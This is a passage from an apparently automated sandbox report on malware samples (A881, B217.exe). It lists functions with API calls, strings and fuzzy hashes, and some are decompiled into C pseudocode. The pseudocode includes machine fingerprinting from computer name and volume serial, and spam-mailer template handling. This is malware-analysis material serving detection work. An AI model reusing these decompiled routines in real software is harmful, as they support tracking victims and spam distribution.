Function 006C8F3E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006C8F52
GetTickCount.KERNEL32 ref: 006C8FF1

Strings

0t, xrefs: 006C8F52, 006C8FF1

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 0t
API String ID: 536389180-1355922044
Opcode ID: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction ID: 9650c10580b73eefdee58c2a94d7adbe437ee9dc412b0c1829cf1218968cd695
Opcode Fuzzy Hash: f778bec48d6853c61bba66ff70abee8b380bd23c812c2bd80f901189d0bf267b
Instruction Fuzzy Hash: D2217532604215AFDB309FA8D895FFABBBBEB11391B25416DE420D7251CF70EA40C758

Uniqueness

Uniqueness Score: -1.00%

Function 004291B1, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00429264

Strings

jjj, xrefs: 00429200
t/j, xrefs: 00429251

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _strlen
String ID: jjj$t/j
API String ID: 4218353326-194299851
Opcode ID: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction ID: 5ea0bd4cb94cfd527d3c50de5b4b12c929eb90b2aaee7e960835da51e0ede127
Opcode Fuzzy Hash: 73c4a380c0ed57a62498845dc5d0fb404ca6bf7d6c82d16b282917c6e0348ac1
Instruction Fuzzy Hash: 0D213A34B00218FFEB24CB89F849BAE3370FB45304F5445AAE50553291D3799F61CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 006CC21E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CC220
wsprintfA.USER32 ref: 006CC2B0

Strings

0t, xrefs: 006CC220

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: CountTickwsprintf
String ID: 0t
API String ID: 2424974917-1355922044
Opcode ID: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction ID: 59a0723085258e1b6130595cff45262f63c8180c8ffe05f2a9b9c441a6a96c57
Opcode Fuzzy Hash: 06c76dfdee32e392c5b9e14bf2ce1b6ffedea00b213a31f1363bbf4a57a4f60a
Instruction Fuzzy Hash: 53115672200100FFDB529BA9DD44E567FA6FB88319B3491ACF6188A166D633D863EB50

Uniqueness

Uniqueness Score: -1.00%

Function 004038F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004038F0(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _t29;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t50;

				if(_a8 <= 0) {
					L14:
					return _t29;
				}
				_t29 = E004030FA(0x412c00);
				_v8 = 0;
				if(_a8 <= 0) {
					L13:
					 *0x412c00 =  *0x412c00 & 0x00000000;
					goto L14;
				} else {
					do {
						_t50 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + _v8 * 4))));
						_t45 =  *((intOrPtr*)(_t50 - 0x24));
						if( *((intOrPtr*)(_t50 - 0x14)) != GetCurrentThreadId()) {
							_t10 = _t50 - 0x1c;
							 *_t10 =  *(_t50 - 0x1c) - 1;
							if( *_t10 < 0) {
								 *(_t50 - 0x1c) =  *(_t50 - 0x1c) & 0x00000000;
							}
							 *((intOrPtr*)(_t50 - 0x14)) = GetCurrentThreadId();
						}
						 *((intOrPtr*)(_t50 - 0xc)) =  *((intOrPtr*)(_t50 - 0xc)) + 1;
						if( *((intOrPtr*)(_t50 - 0xc)) >=  *((intOrPtr*)(_t50 - 8))) {
							_t43 = 2;
							 *((intOrPtr*)(_t50 - 0x20)) = _t43;
							 *((intOrPtr*)(_t45 + 0x10)) =  *((intOrPtr*)(_t45 + 0x10)) + 1;
							_t34 =  *((intOrPtr*)(_t45 + 0x10));
							if( *((intOrPtr*)(_t45 + 0x10)) >=  *((intOrPtr*)(_t45 + 0x14))) {
								 *((intOrPtr*)(_t45 + 8)) = _t43;
								if( *0x412bfc == 0) {
									E00406509(_t34);
									 *0x412bfc = 1;
								}
							}
						}
						_v8 = _v8 + 1;
						_t29 = _v8;
					} while (_t29 < _a8);
					goto L13;
				}
			}

0x004038fa
0x00403989
0x0040398b
0x0040398b
0x00403905
0x0040390b
0x00403911
0x00403982
0x00403982
0x00000000
0x00403913
0x0040391b
0x00403924
0x00403926
0x0040392e
0x00403930
0x00403930
0x00403933
0x00403935
0x00403935
0x0040393b
0x0040393b
0x0040393e
0x00403947
0x0040394b
0x0040394c
0x0040394f
0x00403952
0x00403958
0x0040395a
0x00403964
0x00403966
0x0040396b
0x0040396b
0x00403964
0x00403958
0x00403975
0x00403978
0x0040397b
0x00000000
0x00403981

APIs

Part of subcall function 004030FA: GetTickCount.KERNEL32 ref: 00403103
Part of subcall function 004030FA: InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

GetCurrentThreadId.KERNEL32 ref: 00403929
GetCurrentThreadId.KERNEL32 ref: 00403939

Strings

%FROM_EMAIL, xrefs: 00403913

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: CurrentThread$CountExchangeInterlockedTick
String ID: %FROM_EMAIL
API String ID: 3716169038-2903620461
Opcode ID: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction ID: b7f4056d5a805f6dc72f55654bcd4db07a73235d6c8b9c95532e416c15eafef7
Opcode Fuzzy Hash: ef9999c53fb079ee60b66104ed5eee9301c2c40c50ee899f7204c173007e787c
Instruction Fuzzy Hash: 7B113DB5900214EFD720DF16D581A5DF7F8FB05716F11856EE844A7291C7B8AB80CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 006C7086, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 006C70A5
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,?,?), ref: 006C70DD

Strings

|, xrefs: 006C70CF

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID: |
API String ID: 2370142434-2343686810
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: 85baf523b565a8328478dc2a688b5d29a59c334586af57f63284deddf6ed2640
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: E411E872904158EBDB22DBD5CC84FEEB7BDEB04701F1841AAE502E6590D6709B989FA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401B71, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401B71() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				signed int _t12;
				signed int _t28;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v8 = 0;
				asm("stosb");
				_v12 = 0xf;
				_t12 = E00401AC3();
				GetComputerNameA( &_v28,  &_v12);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0);
				_t28 = (_v28 ^ _v8 ^ _t12) & 0x7fffffff;
				_v8 = _t28;
				if(_t28 == 0) {
					return E0040ECA5() & 0x7fffffff;
				}
				return _t28;
			}

0x00401b7e
0x00401b84
0x00401b85
0x00401b86
0x00401b87
0x00401b89
0x00401b8c
0x00401b8d
0x00401b94
0x00401ba3
0x00401bb8
0x00401bc8
0x00401bca
0x00401bcd
0x00000000
0x00401bd8
0x00000000

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401BA3
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00401EFD,00000000,00000000,00000000,00000000), ref: 00401BB8

Strings

localcfg, xrefs: 00401B7B

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: localcfg
API String ID: 2777991786-1857712256
Opcode ID: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction ID: 3328142983dde5627d9ce9a8d7cd594e0c2b91da8c15a082e229c164244e8f4a
Opcode Fuzzy Hash: 347cd581b463f90e4869c942ce5ddbd7b1215e33c70616b3ab33c256474cc11e
Instruction Fuzzy Hash: BE018BB2D0010CBFEB009BE9CC819EFFABCAB48754F150072A601F3190E6746E084AA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB81, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
stringCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040AB81(intOrPtr _a4, intOrPtr _a8, char _a12, CHAR* _a16, char _a20) {
				void* _t15;
				long _t17;
				signed int _t29;
				long* _t31;

				_t29 = 0;
				if(_a8 > 0) {
					do {
						_t31 = _a4 + _t29 * 4;
						_t17 =  *_t31;
						if( *((char*)(_t17 + 0x10)) == 1 &&  *((char*)(_t17 + 0x12)) == 0) {
							 *((char*)(_t17 + 0x11)) = _a20;
							lstrcpynA( *_t31 + 0x12, _a16, 0x3e);
							 *((char*)( *_t31 + 0x4f)) = 0;
							 *((char*)( *_t31 + 0x10)) = _a12;
							if( *((char*)( *_t31 + 0x10)) != 2) {
								_push(0x413640);
							} else {
								_push(0x41363c);
							}
							_t17 = InterlockedIncrement();
						}
						_t29 = _t29 + 1;
					} while (_t29 < _a8);
					return _t17;
				}
				return _t15;
			}

0x0040ab85
0x0040ab8a
0x0040ab94
0x0040ab97
0x0040ab9a
0x0040aba0
0x0040abab
0x0040abb9
0x0040abc4
0x0040abca
0x0040abd3
0x0040abdc
0x0040abd5
0x0040abd5
0x0040abd5
0x0040abe1
0x0040abe1
0x0040abe3
0x0040abe4
0x00000000
0x0040abea
0x0040abed

APIs

lstrcpynA.KERNEL32(?,?,0000003E,?,%FROM_EMAIL,00000000,?,0040BD6F,?,?,0000000B,no locks and using MX is disabled,000000FF), ref: 0040ABB9
InterlockedIncrement.KERNEL32(00413640), ref: 0040ABE1

Strings

%FROM_EMAIL, xrefs: 0040AB8C

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: IncrementInterlockedlstrcpyn
String ID: %FROM_EMAIL
API String ID: 224340156-2903620461
Opcode ID: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction ID: 7c747491fd5973eaabf4003e0d871bd0eed893c7530145efd7f06e2bf3dfd35d
Opcode Fuzzy Hash: 85a21fda7c2203b6c3b9fe5e6af0625d6c65905c1dc9d9bdca14f106badbca83
Instruction Fuzzy Hash: D3019231508384AFDB21CF18D881F967FA5AF15314F1444A6F6805B393C3B9E995CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004026B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

gethostbyaddr.WS2_32(00000000,00000004,00000002), ref: 004026C3
inet_ntoa.WS2_32(?), ref: 004026E4

Strings

localcfg, xrefs: 004026CD, 004026D2, 004026DE

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: gethostbyaddrinet_ntoa
String ID: localcfg
API String ID: 2112563974-1857712256
Opcode ID: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction ID: d2c247fa2f64166219b22d1ecfca1b9a377bc480b126e4bf322f1ec8134a793b
Opcode Fuzzy Hash: d53564beee30921141880bc566d8d3609085812ca2ea79526dfe3cb7d65e7849
Instruction Fuzzy Hash: 81F082321482097BEF006FA1ED09A9A379CEF09354F108876FA08EA0D0DBB5D950979C

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAE4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EAE4(CHAR* _a4) {
				struct HINSTANCE__* _t2;

				_t2 =  *0x4136f4;
				if(_t2 != 0) {
					L3:
					return GetProcAddress(_t2, _a4);
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x4136f4 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x0040eae4
0x0040eaeb
0x0040eb02
0x0040eb0d
0x0040eaed
0x0040eaf2
0x0040eaf8
0x0040eaff
0x00000000
0x0040eb01
0x0040eb01
0x0040eb01
0x0040eaff

APIs

LoadLibraryA.KERNEL32(ntdll.dll,0040EB54,_alldiv,0040F0B7,80000001,00000000,00989680,00000000,?,?,?,0040E342,00000000,74B5F210,80000001,00000000), ref: 0040EAF2
GetProcAddress.KERNEL32(?,00000000), ref: 0040EB07

Strings

ntdll.dll, xrefs: 0040EAED

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ntdll.dll
API String ID: 2574300362-2227199552
Opcode ID: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction ID: 7b5812d5d2c037db56fb7cc720bc5ad28be2e092f3141d28ea6626f847aa1f88
Opcode Fuzzy Hash: b4eb004c93ce830f66033c1bec013b2cb76b73adf8dbcf645c2d99c100687d31
Instruction Fuzzy Hash: D0D0C934600302ABCF22CF65AE1EA867AACAB54702B40C436B406E1670E778E994DA0C

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22, Relevance: 5.2, APIs: 4, Instructions: 157
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F22(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v12;
				char _v368;
				void* _t64;
				signed short* _t66;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t76;
				intOrPtr* _t82;
				short _t86;
				intOrPtr* _t87;
				signed int _t94;
				intOrPtr _t96;
				signed int _t99;
				short* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t114;
				void* _t115;
				intOrPtr* _t116;
				void* _t117;
				signed int _t118;
				void* _t121;
				void* _t122;
				void* _t123;
				void* _t124;

				_t116 = _a12;
				_t94 = 0;
				 *_t116 = 0;
				_t117 = E00402D21(_a4);
				if(_t117 != 0) {
					if( *_t117 != 0) {
						_v12 = _t117;
						_a12 = _a8;
						while(_t94 < 5) {
							_t9 = _t117 + 8; // 0x8
							_t104 = _t9;
							_t82 = _t9;
							_t10 = _t82 + 1; // 0x9
							_v8 = _t10;
							do {
								_t114 =  *_t82;
								_t82 = _t82 + 1;
							} while (_t114 != 0);
							E0040EE08(_a12, _t104, _t82 - _v8 + 1);
							_t86 =  *((intOrPtr*)(_t117 + 4));
							_a12 = _a12 + 0x100;
							_t122 = _t122 + 0xc;
							 *_t116 =  *_t116 + 1;
							_t117 =  *_t117;
							 *((short*)(_t121 + _t94 * 2 - 0x6c)) = _t86;
							_t94 = _t94 + 1;
							if(_t117 != 0) {
								continue;
							}
							break;
						}
						HeapFree(GetProcessHeap(), 0, _v12);
						_v8 = _v8 & 0x00000000;
						if( *_t116 == 1) {
							L24:
							return 1;
						}
						_t64 =  *_t116 - 1;
						_a12 = _a8;
						do {
							_t118 = _v8;
							_t99 = _t118;
							if(_t118 >=  *_t116 - 1) {
								L17:
								_t66 = _t121 + _v8 * 2 - 0x6c;
								_t100 = _t121 + _t118 * 2 - 0x6c;
								 *_t66 =  *_t100;
								_t67 = _a12;
								 *_t100 =  *_t66 & 0x0000ffff;
								_t101 = _t67 + 1;
								do {
									_t109 =  *_t67;
									_t67 = _t67 + 1;
								} while (_t109 != 0);
								E0040EE08( &_v368, _a12, _t67 - _t101 + 1);
								_t123 = _t122 + 0xc;
								_t120 = (_t118 << 8) + _a8;
								_t72 = (_t118 << 8) + _a8;
								_t102 = _t72 + 1;
								do {
									_t110 =  *_t72;
									_t72 = _t72 + 1;
								} while (_t110 != 0);
								E0040EE08(_a12, _t120, _t72 - _t102 + 1);
								_t76 =  &_v368;
								_t124 = _t123 + 0xc;
								_t103 = _t76 + 1;
								do {
									_t111 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t111 != 0);
								goto L23;
							} else {
								goto L14;
							}
							do {
								L14:
								if( *((intOrPtr*)(_t121 + _t99 * 2 - 0x6a)) <  *((intOrPtr*)(_t121 + _t99 * 2 - 0x6c))) {
									_t32 = _t99 + 1; // 0x1
									_t118 = _t32;
								}
								_t99 = _t99 + 1;
							} while (_t99 < _t64);
							goto L17;
							L23:
							E0040EE08(_t120,  &_v368, _t76 - _t103 + 1);
							_a12 = _a12 + 0x100;
							_t122 = _t124 + 0xc;
							_v8 = _v8 + 1;
							_t64 =  *_t116 - 1;
						} while (_v8 < _t64);
						goto L24;
					}
					_t3 = _t117 + 8; // 0x8
					_t105 = _t3;
					_t87 = _t3;
					_t4 = _t87 + 1; // 0x9
					_t115 = _t4;
					do {
						_t96 =  *_t87;
						_t87 = _t87 + 1;
					} while (_t96 != 0);
					E0040EE08(_a8, _t105, _t87 - _t115 + 1);
					 *_t116 =  *_t116 + 1;
					HeapFree(GetProcessHeap(), 0, _t117);
					goto L24;
				}
				return 0;
			}

0x00402f2e
0x00402f34
0x00402f36
0x00402f3d
0x00402f42
0x00402f4d
0x00402f88
0x00402f8b
0x00402f8e
0x00402f93
0x00402f93
0x00402f96
0x00402f98
0x00402f9b
0x00402f9e
0x00402f9e
0x00402fa0
0x00402fa1
0x00402fae
0x00402fb3
0x00402fb7
0x00402fbe
0x00402fc1
0x00402fc3
0x00402fc5
0x00402fca
0x00402fcd
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fdb
0x00402fe3
0x00402fe8
0x004030ad
0x00000000
0x004030af
0x00402ff3
0x00402ff4
0x00402ff7
0x00402ff9
0x00402ffd
0x00403001
0x00403017
0x0040301a
0x00403021
0x00403028
0x0040302b
0x0040302e
0x00403031
0x00403034
0x00403034
0x00403036
0x00403037
0x00403049
0x00403051
0x00403054
0x00403057
0x00403059
0x0040305c
0x0040305c
0x0040305e
0x0040305f
0x0040306b
0x00403070
0x00403076
0x00403079
0x0040307c
0x0040307c
0x0040307e
0x0040307f
0x00000000
0x00000000
0x00000000
0x00000000
0x00403003
0x00403003
0x0040300d
0x0040300f
0x0040300f
0x0040300f
0x00403012
0x00403013
0x00000000
0x00403083
0x0040308f
0x00403094
0x0040309d
0x004030a0
0x004030a3
0x004030a4
0x00000000
0x00402ff7
0x00402f4f
0x00402f4f
0x00402f52
0x00402f54
0x00402f54
0x00402f57
0x00402f57
0x00402f59
0x00402f5a
0x00402f66
0x00402f6e
0x00402f7a
0x00000000
0x00402f7a
0x00000000

APIs

Part of subcall function 00402D21: GetModuleHandleA.KERNEL32(00000000,74E5EA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
Part of subcall function 00402D21: LoadLibraryA.KERNEL32(?), ref: 00402D4A

GetProcessHeap.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402F73
HeapFree.KERNEL32(00000000), ref: 00402F7A

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction ID: 68d3b74a61d8da24685d2c7d21854d87d7e5c343c8b3ec1e3967b08f84d9f298
Opcode Fuzzy Hash: 17a9aa356eb7964f79448f848511744e029a14576c0ff14f59890d2228000c73
Instruction Fuzzy Hash: C251E23190020A9FCF01DF64D8889FABB79FF15304F10457AEC95E7290E7769A19CB88

Uniqueness

Uniqueness Score: -1.00%

Function 006C3172, Relevance: 5.2, APIs: 4, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006C2F71: GetModuleHandleA.KERNEL32(?), ref: 006C2F8A
Part of subcall function 006C2F71: LoadLibraryA.KERNEL32(?), ref: 006C2F9A

GetProcessHeap.KERNEL32(00000000,00000000), ref: 006C31C3
HeapFree.KERNEL32(00000000), ref: 006C31CA

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: Heap$FreeHandleLibraryLoadModuleProcess
String ID:
API String ID: 1017166417-0
Opcode ID: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction ID: d72fdf5fca211e67029935504522626dc2b6c552e1de8759dec6532be5b20fdd
Opcode Fuzzy Hash: 6d22c46e4b2bbf8f956e586da185c112e243b929c4a2d348202b24ffe9e68596
Instruction Fuzzy Hash: 5D519D7190026AAFCF019F64D888AFAB7B6FF15304B14856DEC96C7310E7729B19CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B217.exe PID: 4400 Parent PID: 3352 B217.exeCOMMON

Executed Functions

Function 053E53F8, Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

{&, xrefs: 053E6373

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID: {&
API String ID: 0-4210536796
Opcode ID: c34e9c537d31c3190e4f3af7476711bc7eec3ac63221615465364cf0332c870f
Instruction ID: ad9ef6532c612758ee472f4e04ac95c677b6dbd6a4ca93f23ee3cc40ce767008
Opcode Fuzzy Hash: c34e9c537d31c3190e4f3af7476711bc7eec3ac63221615465364cf0332c870f
Instruction Fuzzy Hash: 80B24874700225CFDB24DF29D894A69B7F2BF89214F1585A9E50ACB3A1DB70EC81CF52

Uniqueness

Uniqueness Score: -1.00%

Function 053E1810, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fda0730de3460c5fdc296d03adfee7035cb6ccba0e619b6db9f27b608e736aec
Instruction ID: bc493a5994d0fbaf6bfed6bd943ad476f8a5465d58fd6a93c1651e63319a929d
Opcode Fuzzy Hash: fda0730de3460c5fdc296d03adfee7035cb6ccba0e619b6db9f27b608e736aec
Instruction Fuzzy Hash: BBF14E34A002158FCB18DFA4D498AAEBBF6FF88304F158569E506AB395DF71EC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 053E7F28, Relevance: 3.3, Instructions: 3299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975980bda133aabcdc60413e6b115bd524608eb764cd525d45254f9077859a24
Instruction ID: f14be510180ee253d44176dd6a5ef7c7d2d29ced0953b8506c09eb7ce11fc686
Opcode Fuzzy Hash: 975980bda133aabcdc60413e6b115bd524608eb764cd525d45254f9077859a24
Instruction Fuzzy Hash: F5637F75A41218AFEB249BA0CC55BEE7776FB88704F1040E9E70A2B2D0DB715E80DF56

Uniqueness

Uniqueness Score: -1.00%

Function 053EFBA7, Relevance: 1.4, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h^, xrefs: 053EFBBB

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID: h^
API String ID: 0-2104023630
Opcode ID: 6910e24c921d39baa95c0aaeb4e531ba8813236d9e42014fc9828bbfe4ee7c7d
Instruction ID: 7d93a4d78f8a2fdf6eb7ae340bb564e8bdfcf0aee59325dca66ae9f113961146
Opcode Fuzzy Hash: 6910e24c921d39baa95c0aaeb4e531ba8813236d9e42014fc9828bbfe4ee7c7d
Instruction Fuzzy Hash: F931D213B4414607DA5045ADA8027CE2BDAEB52260BAD0817F1DEEB760EAADCC43C3C1

Uniqueness

Uniqueness Score: -1.00%

Function 053E4808, Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f18d74b1c7df280fb679daaabad6536ebbd9ca10fae8fa1a99a5d6b2e9ed30f0
Instruction ID: fc21094b553c42eac0cc82b6529c780f48ea6bc48f592f24b6d82de81f867d13
Opcode Fuzzy Hash: f18d74b1c7df280fb679daaabad6536ebbd9ca10fae8fa1a99a5d6b2e9ed30f0
Instruction Fuzzy Hash: 4AF15C357146008FDB54DF2AD489AAABBF2FF89224F198469E542CB7B1CB75EC00CB50

Uniqueness

Uniqueness Score: -1.00%

Function 053EE0DD, Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebfd41e26343d19cd73ded3fa581ce183aacf46157b3f6967395caf594a29b25
Instruction ID: de58af1914bd3f287fbd23bf882f62bfc5811f7c3627e140d68bcb37eef11eba
Opcode Fuzzy Hash: ebfd41e26343d19cd73ded3fa581ce183aacf46157b3f6967395caf594a29b25
Instruction Fuzzy Hash: 78A18BFFA140308BCA26AA63CCC3BA536FFE7B02557984452A01DCA3E1F595CD41B6C9

Uniqueness

Uniqueness Score: -1.00%

Function 053E2128, Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.484494546.00000000053E0000.00000040.00000001.sdmp, Offset: 053E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_53e0000_B217.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976d5d6d8c13d66c2f4dd24af04004bb8740940935f02df41c80cd410967305c
Instruction ID: bae6733b2a8968516b54b326c0e94323b78dbecef969461a9f27f9cd1d47ec94
Opcode Fuzzy Hash: 976d5d6d8c13d66c2f4dd24af04004bb8740940935f02df41c80cd410967305c
Instruction Fuzzy Hash: ECB1BE347042508FD325CF69D098A66BBFBFF81214B5985AAE54ACB7A2CB70EC41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 053E43A0, Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

